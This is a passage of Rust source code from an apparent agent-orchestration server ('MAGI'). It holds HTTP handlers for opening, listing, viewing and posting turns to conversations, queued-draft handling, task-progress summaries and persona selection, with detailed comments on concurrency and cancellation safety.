9036            .turns
9037            .iter()
9038            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9039            .collect();
9040        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9041            .turns
9042            .iter()
9043            .map(|turn| {
9044                if turn.messages.is_empty() {
9045                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9046                } else {
9047                    turn.messages
9048                        .iter()
9049                        .map(|message| {
9050                            notice_markdown(
9051                                message.sender.unwrap_or(talk::Sender::Operator),
9052                                &message.body,
9053                                message.display.as_ref(),
9054                            )
9055                        })
9056                        .collect()
9057                }
9058            })
9059            .collect();
9060        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9061            .pending_messages
9062            .iter()
9063            .map(|message| {
9064                notice_markdown(
9065                    message.sender.unwrap_or(talk::Sender::Operator),
9066                    &message.body,
9067                    message.display.as_ref(),
9068                )
9069            })
9070            .collect();
9071        for nodes in &mut turn_bodies_md {
9072            references.markdown(nodes);
9073        }
9074        for nodes in turn_messages_md
9075            .iter_mut()
9076            .flatten()
9077            .chain(pending_messages_md.iter_mut())
9078            .flatten()
9079        {
9080            references.markdown(nodes);
9081        }
9082        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9083        let persona_name = persona::find(specs, &talk.persona)
9084            .filter(|p| !p.is_default())
9085            .map(|p| p.name);
9086        let mut avatar_persona = persona::find(specs, &talk.persona)
9087            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9088        // A removed configured persona may still have an override and old talks.
9089        if avatar_persona.id != talk.persona
9090            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9091        {
9092            avatar_persona.id.clone_from(&talk.persona);
9093            avatar_persona.icon = None;
9094        }
9095        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9096        let approvals_store = ask::Questions::at(home.join("questions"));
9097        let merge_approvals = talk
9098            .notified
9099            .iter()
9100            .filter_map(|key| key.strip_prefix("question:"))
9101            .filter_map(|id| approvals_store.get(id).ok())
9102            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9103            .filter_map(|q| {
9104                Some(ChatApproval {
9105                    question: q.id,
9106                    target: q.merge_target?,
9107                })
9108            })
9109            .collect();
9110        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9111        Self {
9112            turn_bodies_md,
9113            turn_messages_md,
9114            pending_messages_md,
9115            merge_approvals,
9116            thinking,
9117            context,
9118            operator_name,
9119            persona_name,
9120            persona_avatar,
9121            magi_avatar: magi_icon_url(home),
9122            operator_avatar: operator_icon_url(home),
9123            talk,
9124        }
9125    }
9126}
9127
9128/// Parse only the user-facing representation of an explicitly identified MAGI send.
9129fn notice_markdown(
9130    sender: talk::Sender,
9131    body: &str,
9132    display: Option<&crate::prompt::NoticeDisplay>,
9133) -> Option<Vec<md::Node>> {
9134    if sender != talk::Sender::Magi {
9135        return None;
9136    }
9137    let text = if let Some(display) = display {
9138        display.facts.as_str()
9139    } else {
9140        // Unknown completion templates may contain internal directives. Never
9141        // promote their agent input to the Markdown display surface.
9142        if crate::prompt::is_completion_notice(body)
9143            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9144        {
9145            return None;
9146        }
9147        body.strip_prefix("magi: ").unwrap_or(body)
9148    };
9149    Some(md::to_nodes(text, &md::ImageBase::None))
9150}
9151
9152/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9153/// conversation has filed, so the phone can follow one from inside the
9154/// conversation that asked for it rather than hunting the Queue for a task id
9155/// it may not remember.
9156#[derive(Debug, Serialize)]
9157struct TalkDetailView {
9158    #[serde(flatten)]
9159    view: TalkView,
9160    tasks: Vec<TaskView>,
9161    task_progress: TalkTaskProgress,
9162    /// The agents this talk's repository can switch to; empty when its
9163    /// configuration cannot be read, which must not fail the whole detail.
9164    roster: Vec<RosterEntry>,
9165    /// The personas the conversation can pick from. The built-ins are always
9166    /// listed, even when the repository's configuration cannot be read.
9167    personas: Vec<PersonaEntry>,
9168}
9169
9170/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9171#[derive(Debug, Serialize)]
9172struct TalkTaskProgress {
9173    state: &'static str,
9174    total: usize,
9175    done: usize,
9176    counts: std::collections::BTreeMap<&'static str, usize>,
9177    unfinished_ids: Vec<String>,
9178}
9179
9180fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9181    let mut counts = std::collections::BTreeMap::from([
9182        ("queued", 0),
9183        ("running", 0),
9184        ("done", 0),
9185        ("failed", 0),
9186        ("held", 0),
9187        ("blocked", 0),
9188        ("parked", 0),
9189    ]);
9190    let mut unfinished_ids = Vec::new();
9191    for task in tasks {
9192        *counts.entry(task.status.as_str()).or_default() += 1;
9193        if task.status != TaskStatus::Done {
9194            unfinished_ids.push(task.id.clone());
9195        }
9196    }
9197    TalkTaskProgress {
9198        state: if tasks.is_empty() {
9199            "none"
9200        } else if unfinished_ids.is_empty() {
9201            "complete"
9202        } else {
9203            "incomplete"
9204        },
9205        total: tasks.len(),
9206        done: tasks.len() - unfinished_ids.len(),
9207        counts,
9208        unfinished_ids,
9209    }
9210}
9211
9212/// One persona as the talk's persona selector shows it.
9213#[derive(Debug, Serialize)]
9214struct PersonaEntry {
9215    id: String,
9216    name: String,
9217    /// Avatar URL, see [`TalkView::persona_avatar`].
9218    avatar: String,
9219}
9220
9221/// One roster agent as the talk's agent selector shows it.
9222#[derive(Debug, Serialize)]
9223struct RosterEntry {
9224    id: String,
9225    kind: AgentKind,
9226    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9227    runnable: bool,
9228}
9229
9230/// Bounded summaries; `/page` carries a cursor for older membership.
9231async fn talks_list(
9232    State(ui): State<Arc<Ui>>,
9233    Query(q): Query<ListQuery>,
9234    headers: header::HeaderMap,
9235) -> ApiResult<Json<Vec<TalkListView>>> {
9236    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9237        let limit = q.limit.unwrap_or(50).min(50);
9238        let ids = if let Some(ids) = q.ids {
9239            ids.split(',')
9240                .filter(|id| plain_record_id(id))
9241                .take(limit)
9242                .map(str::to_owned)
9243                .collect()
9244        } else {
9245            page_ids(&ui, true, PageQuery::default())?
9246                .0
9247                .into_iter()
9248                .take(limit.min(STORE_PAGE_SIZE))
9249                .collect()
9250        };
9251        Ok(Json(talk_rows(&ui, ids, &headers)))
9252    })
9253    .await
9254}
9255
9256/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9257/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9258/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9259/// end still opens a talk against an older binary.
9260#[derive(Debug, Default, Deserialize)]
9261#[serde(default)]
9262struct NewTalk {
9263    agent: Option<String>,
9264    repo: Option<PathBuf>,
9265    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9266    /// wrong type is dropped like a stale value instead of failing the request;
9267    /// each falls back to its default on its own (see [`talk::begin_with`]).
9268    preferred_agent: Option<serde_json::Value>,
9269    persona: Option<serde_json::Value>,
9270    implementers: Option<serde_json::Value>,
9271}
9272
9273/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9274/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9275async fn talk_post(
9276    State(ui): State<Arc<Ui>>,
9277    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9278) -> ApiResult<impl IntoResponse> {
9279    // An absent body, or an empty one, is the normal way to open a talk - see
9280    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9281    // rather than refused.
9282    let body = match body {
9283        Ok(Json(body)) => body,
9284        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9285        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9286    };
9287    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9288    let cfg = config_for(&repo).await?;
9289    let view = blocking(move || {
9290        let preferred = talk::Preferred {
9291            agent: body
9292                .preferred_agent
9293                .as_ref()
9294                .and_then(|v| v.as_str())
9295                .map(str::to_owned),
9296            persona: body
9297                .persona
9298                .as_ref()
9299                .and_then(|v| v.as_str())
9300                .map(str::to_owned),
9301            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9302        };
9303        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9304        let thinking = ui.is_thinking(&talk.id);
9305        Ok(TalkView::new(talk, thinking, &ui))
9306    })
9307    .await?;
9308    Ok((StatusCode::CREATED, Json(view)))
9309}
9310
9311/// Transcript first: unrelated queue history and repository probes are deferred.
9312async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9313    // Keep transcript reads independent of sections and the runtime blocking pool.
9314    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9315        let id = resolve_talk(&ui.talks, &id)?;
9316        let talk = ui.talks.get(&id)?;
9317        let thinking = ui.is_thinking_observed(&id);
9318        // The browser already resolves Markdown text/code references after
9319        // rendering. A cold reference/review index must not gate the transcript.
9320        Ok(Json(TalkView::with_references(
9321            talk,
9322            thinking,
9323            None,
9324            &ui.home,
9325            &id_links::IdIndex::default(),
9326        )))
9327    })
9328    .await
9329}
9330
9331async fn talk_sections(
9332    State(ui): State<Arc<Ui>>,
9333    Path(id): Path<String>,
9334) -> ApiResult<Json<serde_json::Value>> {
9335    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9336        let id = resolve_talk(&ui.talks, &id)?;
9337        let talk = ui.talks.get(&id)?;
9338        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9339        let task_progress = talk_task_progress(&tasks);
9340        let tasks: Vec<_> = tasks
9341            .into_iter()
9342            .map(|task| {
9343                serde_json::json!({
9344                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9345                })
9346            })
9347            .collect();
9348        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9349        let roster: Vec<_> = cfg
9350            .as_ref()
9351            .map(|cfg| {
9352                cfg.agents
9353                    .iter()
9354                    .map(|a| RosterEntry {
9355                        id: a.id.clone(),
9356                        kind: a.kind,
9357                        runnable: agent::installed(a),
9358                    })
9359                    .collect()
9360            })
9361            .unwrap_or_default();
9362        let specs = cfg
9363            .as_ref()
9364            .map(|cfg| cfg.talk.personas.clone())
9365            .unwrap_or_default();
9366        let personas: Vec<_> = persona::catalog(&specs)
9367            .into_iter()
9368            .map(|p| PersonaEntry {
9369                avatar: avatar_url(&ui.home, &talk.id, &p),
9370                id: p.id,
9371                name: p.name,
9372            })
9373            .collect();
9374        let active_persona = persona::find(&specs, &talk.persona)
9375            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9376        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9377        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9378        Ok(Json(serde_json::json!({
9379            "tasks": tasks, "task_progress": task_progress,
9380            "roster": roster, "personas": personas,
9381            "context": talk::context_usage(&talk, cfg.as_ref()),
9382            "context_for": talk.updated_at,
9383            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9384            "persona_name": persona_name,
9385            "persona_avatar": persona_avatar,
9386        })))
9387    })
9388    .await
9389}
9390
9391/// `GET /api/talks/{id}`.
9392async fn talk_detail(
9393    State(ui): State<Arc<Ui>>,
9394    Path(id): Path<String>,
9395) -> ApiResult<Json<TalkDetailView>> {
9396    blocking(move || {
9397        let id = resolve_talk(&ui.talks, &id)?;
9398        let talk = ui.talks.get(&id)?;
9399        let thinking = ui.is_thinking_observed(&talk.id);
9400        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9401        let task_progress = talk_task_progress(&tasks);
9402        let tasks = tasks.into_iter().map(TaskView::from).collect();
9403        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9404        let roster = cfg
9405            .as_ref()
9406            .map(|cfg| {
9407                cfg.agents
9408                    .iter()
9409                    .map(|a| RosterEntry {
9410                        id: a.id.clone(),
9411                        kind: a.kind,
9412                        runnable: agent::installed(a),
9413                    })
9414                    .collect()
9415            })
9416            .unwrap_or_default();
9417        let specs = cfg
9418            .as_ref()
9419            .map(|cfg| cfg.talk.personas.clone())
9420            .unwrap_or_default();
9421        let personas = persona::catalog(&specs)
9422            .into_iter()
9423            .map(|p| PersonaEntry {
9424                avatar: avatar_url(&ui.home, &talk.id, &p),
9425                id: p.id,
9426                name: p.name,
9427            })
9428            .collect();
9429        Ok(Json(TalkDetailView {
9430            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9431            tasks,
9432            task_progress,
9433            roster,
9434            personas,
9435        }))
9436    })
9437    .await
9438}
9439
9440/// The body of `POST /api/talks/{id}/say`.
9441///
9442/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9443/// returned - never bytes of its own - so a turn with no images just omits
9444/// the field, which is what an older front end still does.
9445#[derive(Debug, Default, Deserialize)]
9446#[serde(default, deny_unknown_fields)]
9447struct NewTalkTurn {
9448    reply_to: Option<talk::ReplyTarget>,
9449    text: String,
9450    attachments: Vec<String>,
9451}
9452
9453#[derive(Debug, Deserialize)]
9454#[serde(deny_unknown_fields)]
9455struct EditTalkPending {
9456    #[serde(default)]
9457    message: Option<usize>,
9458    text: String,
9459    expected_text: String,
9460    expected_attachments: Vec<String>,
9461}
9462
9463#[derive(Debug, Deserialize)]
9464#[serde(deny_unknown_fields)]
9465struct ClearTalkPending {
9466    expected_text: String,
9467    expected_attachments: Vec<String>,
9468}
9469
9470/// `POST /api/talks/{id}/say` - one turn of the conversation.
9471///
9472/// Not filesystem work, and therefore not routed through [`blocking`]: this
9473/// route spawns an agent CLI and a turn here can run for the whole of
9474/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9475/// research turn is expected to run commands rather than answer from what it
9476/// already knows. Holding an HTTP connection open that long is not a thing
9477/// to ask a phone to do; the operator's message is recorded and answered for
9478/// immediately, and the reply lands in the background, discovered through
9479/// the change stream's `talks_rev` the same way every other update on this
9480/// surface is.
9481async fn talk_say(
9482    State(ui): State<Arc<Ui>>,
9483    Path(id): Path<String>,
9484    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9485) -> ApiResult<(StatusCode, Json<TalkView>)> {
9486    let admission = ui.begin_admission()?;
9487    admitted(admission, async move {
9488    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9489    if body.text.trim().is_empty() && body.attachments.is_empty() {
9490        return Err(ApiError::bad_request("say something"));
9491    }
9492
9493    let id = {
9494        let ui = Arc::clone(&ui);
9495        let asked = id.clone();
9496        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9497    };
9498    // A closed Talk never accepts a new immediate or queued turn. Check this
9499    // before claiming a slot so its ordinary domain refusal is a 409, not an
9500    // incidental failure from the later record/queue write.
9501    {
9502        let ui = Arc::clone(&ui);
9503        let id = id.clone();
9504        blocking(move || {
9505            let talk = ui.talks.get(&id)?;
9506            if !talk.status.open() {
9507                return Err(ApiError::conflict(format!(
9508                    "talk {} is {} and takes no more turns",
9509                    talk.short(),
9510                    talk.status.as_str()
9511                )));
9512            }
9513            Ok(())
9514        })
9515        .await?;
9516    }
9517
9518    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9519    // actually stores, before anything is written - an unknown id is a 4xx
9520    // that names it rather than a turn (or a queued draft) silently missing
9521    // an image.
9522    let attachments = {
9523        let ui = Arc::clone(&ui);
9524        let id = id.clone();
9525        let ids = body.attachments.clone();
9526        blocking(move || {
9527            ids.into_iter()
9528                .map(|att_id| {
9529                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9530                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9531                    })
9532                })
9533                .collect::<ApiResult<Vec<talk::Attachment>>>()
9534        })
9535        .await?
9536    };
9537    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9538        .await.map_err(ApiError::from)?;
9539
9540    // Pending recovery and a new immediate turn are decided under the same
9541    // claim lock. Without that one critical section, a second `/say` can see
9542    // the first request's claim as "busy" and append itself to the recovered
9543    // draft before the first request rejects it.
9544    let start = {
9545        let ui = Arc::clone(&ui);
9546        let id = id.clone();
9547        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9548    };
9549    let turn_guard = match start {
9550        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9551        TalkTurnStart::Pending => {
9552            return Err(ApiError::conflict(
9553                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9554            ));
9555        }
9556        TalkTurnStart::Foreign => {
9557            return Err(ApiError::conflict(
9558                "a turn is already running in another process; try again when it has finished",
9559            ));
9560        }
9561        TalkTurnStart::Busy => {
9562            // A turn is already running: queue rather than refuse. See
9563            // `Ui::begin_talk_turn` and `talk::queue`.
9564            //
9565            // The queue write and the drain it may owe live inside the task
9566            // `tokio::spawn` hands to the runtime, for the same reason the
9567            // immediate path below puts `record` there: a dropped handler
9568            // future must not be able to land between a durable write and
9569            // the task that answers it. `blocking` runs its closure on
9570            // `spawn_blocking`, which finishes whether or not anyone is left
9571            // to receive its result - so a disconnect at the `.await` below
9572            // would otherwise leave the draft persisted and the reclaimed
9573            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9574            // ever started and the queued text stranded until some later
9575            // `say` happened to pick it up. The caller's 202 travels back
9576            // over a `oneshot`, sent the moment the write lands.
9577            let (tx, rx) = tokio::sync::oneshot::channel();
9578            tokio::spawn({
9579                let ui = Arc::clone(&ui);
9580                let id = id.clone();
9581                let said = body.text.clone();
9582                let reply_to = body.reply_to.clone();
9583                async move {
9584                    let written = blocking({
9585                        let ui = Arc::clone(&ui);
9586                        let id = id.clone();
9587                        move || {
9588                            let mut talk = ui.talks.get(&id)?;
9589                            // A test-only stop point, right before the write
9590                            // an interleaving test needs to pin - see
9591                            // `BusyQueueGate`. `None` in every real server:
9592                            // the field only exists under `#[cfg(test)]`.
9593                            #[cfg(test)]
9594                            if let Some(gate) = ui
9595                                .busy_queue_gate
9596                                .lock()
9597                                .unwrap_or_else(PoisonError::into_inner)
9598                                .take()
9599                            {
9600                                let _ = gate.reached.send(());
9601                                let _ = gate.release.recv();
9602                            }
9603                            if let Err(error) = talk::queue_reply(
9604                                &mut talk,
9605                                &ui.talks,
9606                                &said,
9607                                attachments,
9608                                reply_to,
9609                            ) {
9610                                if let Ok(fresh) = ui.talks.get(&id) {
9611                                    if !fresh.status.open() {
9612                                        return Err(ApiError::conflict(format!(
9613                                            "talk {} is {} and takes no more turns",
9614                                            fresh.short(),
9615                                            fresh.status.as_str()
9616                                        )));
9617                                    }
9618                                }
9619                                return Err(
9620                                    if error.to_string().contains("invalid reply target") {
9621                                        ApiError::bad_request("invalid reply target")
9622                                    } else {
9623                                        ApiError::from(error)
9624                                    },
9625                                );
9626                            }
9627                            // The turn that looked busy a moment ago can have
9628                            // finished, found nothing to drain and given up the
9629                            // slot in the gap between that check and this write
9630                            // landing - see `drain_loop`'s own doc for the other
9631                            // half of why that gap would otherwise be able to
9632                            // open at all. Reclaiming the slot here, rather than
9633                            // trusting that whoever held it is still watching, is
9634                            // what stops the text just queued from being stranded
9635                            // until an unrelated future `say` happens to drain
9636                            // it.
9637                            let claim = match ui.begin_queued_talk_turn(&id)? {
9638                                Some(turn_guard) => {
9639                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9640                                    Some((talk.clone(), cfg, turn_guard))
9641                                }
9642                                None => None,
9643                            };
9644                            let thinking = ui.is_thinking(&id);
9645                            Ok((TalkView::new(talk, thinking, &ui), claim))
9646                        }
9647                    })
9648                    .await;
9649                    #[cfg(not(test))]
9650                    {
9651                        match written {
9652                            Ok((view, reclaimed)) => {
9653                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9654                                drop(reclaimed);
9655                                match launched {
9656                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9657                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9658                                }
9659                            }
9660                            Err(error) => { let _ = tx.send(Err(error)); }
9661                        }
9662                    }
9663                    #[cfg(test)]
9664                    {
9665                    let (view, reclaimed) = match written {
9666                        Ok(pair) => pair,
9667                        Err(e) => {
9668                            // Nobody is listening if the handler's own future
9669                            // was already dropped - that is fine, nothing was
9670                            // persisted and there is no response left to carry
9671                            // this error to.
9672                            let _ = tx.send(Err(e));
9673                            return;
9674                        }
9675                    };
9676                    // If this fails, the caller is gone; the drain below still
9677                    // runs exactly as it would have for a caller that stayed.
9678                    let _ = tx.send(Ok(view));
9679                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9680                        let talks = ui.talks.clone();
9681                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9682                    }
9683                    }
9684                }
9685            });
9686            let view = rx
9687                .await
9688                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9689            return Ok((StatusCode::ACCEPTED, Json(view)));
9690        }
9691    };
9692
9693    let (talk, cfg) = {
9694        let ui = Arc::clone(&ui);
9695        let id = id.clone();
9696        blocking(move || {
9697            let talk = ui.talks.get(&id)?;
9698            let (cfg, _) = Config::discover(&talk.repo, None)?;
9699            Ok((talk, cfg))
9700        })
9701        .await?
9702    };
9703
9704    let talks = ui.talks.clone();
9705    // `record` runs *inside* the spawned task, rather than in this handler
9706    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9707    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9708    // doc), and that drop can land at any `.await` this function makes,
9709    // including one that has already produced its result but not yet
9710    // resumed. A message could end up recorded on disk with the handler
9711    // future gone before it ever reached the `tokio::spawn` that would have
9712    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9713    // that hands the whole future to the runtime as one unit - once made, no
9714    // later drop of *this* handler's own future (that call's return value is
9715    // never held onto here) can reach back in and stop it, so record and the
9716    // hand-off to `respond` are unconditionally atomic from the client's
9717    // point of view. The immediate response this handler owes the caller
9718    // travels back over a `oneshot`, sent the moment `record` succeeds.
9719    let (tx, rx) = tokio::sync::oneshot::channel();
9720    tokio::spawn({
9721        #[cfg(test)]
9722        let ui = Arc::clone(&ui);
9723        let talks = talks.clone();
9724        let id = id.clone();
9725        let said = body.text.clone();
9726        let reply_to = body.reply_to.clone();
9727        let mut talk = talk.clone();
9728        async move {
9729            let recorded = blocking({
9730                let talks = talks.clone();
9731                move || {
9732                    if let Err(error) =
9733                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9734                    {
9735                        if let Ok(fresh) = talks.get(&talk.id) {
9736                            if !fresh.status.open() {
9737                                return Err(ApiError::conflict(format!(
9738                                    "talk {} is {} and takes no more turns",
9739                                    fresh.short(),
9740                                    fresh.status.as_str()
9741                                )));
9742                            }
9743                        }
9744                        return Err(if error.to_string().contains("invalid reply target") {
9745                            ApiError::bad_request("invalid reply target")
9746                        } else {
9747                            ApiError::from(error)
9748                        });
9749                    }
9750                    // `record` mutates `talk` in place to the freshly persisted
9751                    // state (status, pending, and the just-appended operator
9752                    // turn), so returning it here is equivalent to re-reading it
9753                    // from disk - without the extra round trip a re-read would
9754                    // need.
9755                    Ok((said.trim().to_owned(), talk))
9756                }
9757            })
9758            .await;
9759            let (text, talk) = match recorded {
9760                Ok(pair) => pair,
9761                Err(e) => {
9762                    // Nobody is listening if the handler's own future was
9763                    // already dropped - that is fine, there is no response
9764                    // left to carry this error to and nothing was persisted.
9765                    let _ = tx.send(Err(e));
9766                    return;
9767                }
9768            };
9769            #[cfg(not(test))]
9770            {
9771                let _ = (&cfg, &text);
9772                // The reservation becomes durable while this process still
9773                // holds the talk lease. The child waits for that lease; the
9774                // new UI sees its startup reservation immediately.
9775                let result = crate::chat_worker::spawn_recorded_turn(
9776                    &talks, &id, talk.turns.len() - 1,
9777                ).await;
9778                drop(turn_guard);
9779                match result {
9780                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9781                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9782                }
9783            }
9784            #[cfg(test)]
9785            {
9786            let queued = talk.clone();
9787            let mut talk = talk;
9788            let thinking = ui.is_thinking(&id);
9789            // If this fails, the caller is gone; the turn still runs below
9790            // exactly as it would have for a caller that stayed connected.
9791            let _ = tx.send(Ok((queued, thinking)));
9792
9793            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9794                // `respond` records the failure in the transcript itself,
9795                // which is what the phone reads; this line is for the
9796                // operator's terminal.
9797                tracing::warn!("talk {id} turn failed: {e:#}");
9798            }
9799            // Anything `talk::queue` added while the turn above was running
9800            // is still owed an answer - see `drain_loop`.
9801            drain_loop(talk, talks, cfg, id, turn_guard).await;
9802            }
9803        }
9804    });
9805
9806    let (queued, thinking) = rx
9807        .await
9808        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9809
9810    // 202: the operator's message is recorded and a turn is running.
9811    Ok((
9812        StatusCode::ACCEPTED,
9813        Json(TalkView::new(queued, thinking, &ui)),
9814    ))
9815    }).await
9816}
9817
9818/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9819/// changing it. The turn guard is the same per-talk ownership `talk_say`
9820/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9821async fn talk_pending_resume(
9822    State(ui): State<Arc<Ui>>,
9823    Path(id): Path<String>,
9824) -> ApiResult<(StatusCode, Json<TalkView>)> {
9825    let admission = ui.begin_admission()?;
9826    admitted(admission, async move {
9827        let id = {
9828            let ui = Arc::clone(&ui);
9829            let asked = id.clone();
9830            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9831        };
9832        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9833            .await
9834            .map_err(ApiError::from)?;
9835        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9836            return Err(ApiError::conflict(
9837                "a talk turn is already running; the queued draft will be handled by it",
9838            ));
9839        };
9840        let (talk, cfg) = {
9841            let ui = Arc::clone(&ui);
9842            let id = id.clone();
9843            blocking(move || {
9844                let talk = ui.talks.get(&id)?;
9845                if !talk.status.open() {
9846                    return Err(ApiError::conflict(format!(
9847                        "talk {} is {} and takes no more turns",
9848                        talk.short(),
9849                        talk.status.as_str()
9850                    )));
9851                }
9852                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9853                    return Err(ApiError::conflict("there is no queued draft to resume"));
9854                }
9855                let (cfg, _) = Config::discover(&talk.repo, None)?;
9856                Ok((talk, cfg))
9857            })
9858            .await?
9859        };
9860        let view = TalkView::new(talk.clone(), true, &ui);
9861        let talks = ui.talks.clone();
9862        #[cfg(not(test))]
9863        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9864        #[cfg(test)]
9865        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9866        Ok((StatusCode::ACCEPTED, Json(view)))
9867    })
9868    .await
9869}
9870
9871/// Hand off an admitted draft while retaining the talk lease until its
9872/// detached startup reservation is durable.
9873#[cfg(not(test))]
9874async fn detach_talk_turn(
9875    _talk: Talk,
9876    talks: Talks,
9877    _cfg: Config,
9878    id: String,
9879    turn: TalkTurnGuard,
9880) -> ApiResult<()> {
9881    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9882    drop(turn);
9883    launched.map(|_| ()).map_err(ApiError::from)
9884}
9885
9886#[cfg(test)]
9887async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9888    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9889}
9890
9891/// A settings response must not report idle while its claim is still held.
9892/// Wait until the first drain either releases the claim or promotes a draft.
9893/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9894async fn settle_settings_turn(
9895    talk: Talk,
9896    talks: Talks,
9897    cfg: Config,
9898    id: String,
9899    turn: TalkTurnGuard,
9900    observed: u64,
9901) -> bool {
9902    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9903        let turns = Arc::clone(&turn.turns);
9904        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9905        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9906            // Release under the arrival lock; a later `/say` takes its own claim.
9907            turn.release(&mut live);
9908            return false;
9909        }
9910    }
9911    let (started, settled) = tokio::sync::oneshot::channel();
9912    tokio::spawn(drain_loop_started(
9913        talk,
9914        talks,
9915        cfg,
9916        id,
9917        turn,
9918        Some(started),
9919    ));
9920    settled.await.unwrap_or(false)
9921}
9922
9923#[cfg(not(test))]
9924async fn drain_loop_started(
9925    talk: Talk,
9926    talks: Talks,
9927    _cfg: Config,
9928    id: String,
9929    turn: TalkTurnGuard,
9930    started: Option<tokio::sync::oneshot::Sender<bool>>,
9931) {
9932    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9933    let running = if pending {
9934        match crate::chat_worker::spawn_turn(&talks, &id).await {
9935            Ok(_) => true,
9936            Err(error) => {
9937                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9938                false
9939            }
9940        }
9941    } else {
9942        false
9943    };
9944    drop(turn);
9945    if let Some(started) = started {
9946        let _ = started.send(running);
9947    }
9948}
9949
9950// Existing in-process conversation tests exercise transcript/arrival ordering;
9951// real process-lifetime behavior is covered by the CLI integration tests.
9952#[cfg(test)]
9953async fn drain_loop_started(
9954    mut talk: Talk,
9955    talks: Talks,
9956    cfg: Config,
9957    id: String,
9958    turn: TalkTurnGuard,
9959    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9960) {
9961    let live_set = Arc::clone(&turn.turns);
9962    // `Option` rather than binding `turn` directly to a `_turn` that lives
9963    // for the whole function: releasing it has to happen by calling
9964    // `TalkTurnGuard::release` from inside the locked branch below, which
